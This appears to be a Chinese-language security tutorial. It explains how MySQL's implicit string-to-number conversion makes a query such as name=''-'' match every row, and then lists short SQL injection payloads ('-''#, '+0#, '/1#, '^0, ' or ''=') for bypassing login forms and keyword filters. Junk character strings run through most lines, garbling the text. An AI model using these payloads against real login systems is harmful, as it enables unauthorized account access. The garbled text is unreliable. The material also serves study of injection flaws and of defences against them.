我们先来看这样一个场景。% {3 C+ e- Z" O( X5 z# V
有以下表结构:
; ?* t1 M* E4 R5 {6 r# C+ @6 S; W
: F1 O4 D8 N2 [, M7 l2 J& M& q" ^mysql> desc admin;
5 B" a7 O6 D$ M# H# H: W+----------+--------------+------+-----+---------+----------------+
7 W) m, [# M8 _. R v" A/ Y| Field | Type | Null | Key | Default | Extra |
. |. ~7 A* _3 _' T! B2 _# H( Y/ [+----------+--------------+------+-----+---------+----------------+$ |! r$ u9 m: K! i* ?$ ?; \
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
, m' m$ D0 p# V| name | char(32) | NO | UNI | NULL | |1 S, O) K- ?2 e
| password | char(32) | NO | UNI | NULL | |3 o, j4 g- s' @4 m M
+----------+--------------+------+-----+---------+----------------+$ |- Q8 D; [5 p I: f) c
3 rows in set (0.00 sec)5 p: x, j' F! X2 k) r, b E
执行select * from admin;,成功返回所有记录内容。
8 p# b9 Z+ w0 A* v5 C3 I8 s: o0 o; `/ J: R; j
% |6 x7 b D: u3 _+----+--------+----------------------------------+7 T* I3 }5 A y9 k3 n3 b
| id | name | password |- u; U) o/ Z1 f3 o; E) G
+----+--------+----------------------------------+
4 B& g2 p5 a. B3 Y0 B8 E| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% M. ~6 N& d2 j. ]6 S& [" {* o7 V& a
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
1 A, A5 B- g) s# t| 4 | n00b | ff80e8508d39047460921792273533a4 |0 p3 U" d: |8 ?$ t% J
+----+--------+----------------------------------+' \& B( b+ j! W! N2 [& m/ l; j
3 rows in set (0.00 sec)
' T4 j5 K6 C4 H6 b: @8 p3 j6 K2 ~执行select * from admin where name=”;,没有匹配到任何记录。
4 N, F2 ~3 ~+ p! @ c0 W
% t0 ^! c m6 q* O% p$ emysql> select * from admin where name = '';
+ g' m4 a, M7 N( |$ }8 Z& I bEmpty set (0.00 sec)
' d/ H3 X: K9 J) j7 T: X那么我们来执行select * from admin where name = ”-”;
( f! p- Q8 h& M6 @& g7 B3 `6 B2 ?, M! k' \0 r
$ ~6 Q; q% \5 r/ b$ `
+----+--------+----------------------------------+
9 z. _7 P, h6 H| id | name | password |& W3 d8 C& P0 O7 I* F
+----+--------+----------------------------------+
( w6 f& V5 D& T( C4 C| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
3 X& s4 I Z& P( H| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
3 u* A6 m" Y2 M. i) v| 4 | n00b | ff80e8508d39047460921792273533a4 |+ s5 u( ^% m& ~9 U' @6 {7 q
+----+--------+----------------------------------+7 c- M% j8 @; f+ W# B/ D5 w
3 rows in set, 3 warnings (0.00 sec)* X) C; g" F$ v2 D6 |7 j
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
& f% W. n& D. ?$ h7 z/ ^" A" H) R8 O d7 k) D0 r
mysql> show warnings;' g7 Y4 p, N5 e6 }, e. _' z# C
+---------+------+------------------------------------------
% G7 S% l+ Z1 {1 y% K- c| Level | Code | Message1 X6 `, M* N8 f: K
+---------+------+------------------------------------------( V4 u+ ?# c( ]& J& a- Y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ i+ h/ F/ K5 p6 O7 U1 B- G
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
6 y) _4 g F! ]; x: F3 ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b4 B5 H+ b3 S( ]9 L' r
+---------+------+------------------------------------------% L2 X5 Z" o. R
3 rows in set (0.00 sec)* ~! k$ a) O8 Y1 T( K6 @7 ~
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
* r+ Y U) Y6 y$ s1 j+ Z8 M2 h* }2 ^5 Q& ?' Z R! l7 D! [; V
mysql> select ''-'';. u) U, l+ W5 ~: O* @# V: }* u6 j
+-------+$ F+ f3 W0 S, U% S7 M
| ''-'' |
q$ a; Y# w' N Y' W1 f+-------+
5 `9 J" u% ~5 q# R: p$ W0 y| 0 |) U1 N( ~ f( S- ~
+-------+/ r: w; R2 ^- R) I/ {
1 row in set (0.00 sec)
Z: _% o4 f! L/ }- a8 F& _$ k- D返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
' g3 C+ {( S$ D$ y( y/ P
* H" K3 |* K! z8 T1 y3 B( lmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+ {! N- D8 b/ I+-----------------------------------------------------+9 N! Z0 b$ R H. d/ M6 A6 h
| CAST((select name from admin limit 1,1) as DECIMAL) |
' t, g) s: u& J8 ^5 C o0 K! v+-----------------------------------------------------+0 y, C; z9 q2 ]& L% R- ~* }
| 0 |# W5 m' s. S* @) O& F
+-----------------------------------------------------+
_: N4 s) t' a) S1 p/ J+ u1 row in set, 1 warning (0.00 sec)) o" o& H8 B0 p; \$ A4 `
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
! N, }. N' t0 A3 E/ M1 B5 |9 t% y( V. ?, n# e% O& }# X9 _
SQL注入场景: http://www.sqlzoo.net/hack/ % v! l S D1 e: J3 A8 Z% H3 U( t
1 j& i& F1 `- W2 v, _. `$ C: `# Z) G
% {/ e3 Y- b x) `+ S/ Y9 ]0 b9 y! \5 h1 ^# q) X, h' Y: g5 B
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
' {( l4 G z" x! v- I, @! e9 [8 } I0 u% T/ ]/ s) b$ {4 v
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ! A" c3 p- ^2 P6 q, E W" ]
7 _8 {/ w4 |. C9 S t7 @' V* i
2 n$ _; Y; n9 M; H' D ?0 R7 S
% O: h9 b/ N y1 c* Q
; i5 ^9 ?3 o1 C仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
L* Y/ x4 C& n6 l
/ W6 ?( F4 e& X8 B
8 s; O2 i3 u2 F3 ~6 T8 _" {. g4 a" O1 u, {
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
" Q: |9 r2 v$ v) y6 E3 D1 y
}+ a# I/ W! M5 o+ j
2 U% z- A8 c; z I5 ^' cmysql> select ''/1;0 h9 J/ w7 M- e" o
+------+
* D" B' d: o9 B. e1 P8 a| ''/1 | C5 r0 E9 i$ M( [! T3 ?3 U
+------+
! C8 ]9 ~6 r0 F! B1 p' f; F1 B| 0 |
5 C# j6 l# b: ~/ g/ }! i e+------+
9 W0 |3 e& T& w, v9 p1 |2 p1 row in set (0.00 sec)
# @+ _/ w) K* W& L2 E类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 5 f0 Q) G2 _0 O/ O0 G
) e7 z2 ~# \7 r; j
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
* \" a# [1 |6 l0 l2 D4 Q: M: X" N( @ |
|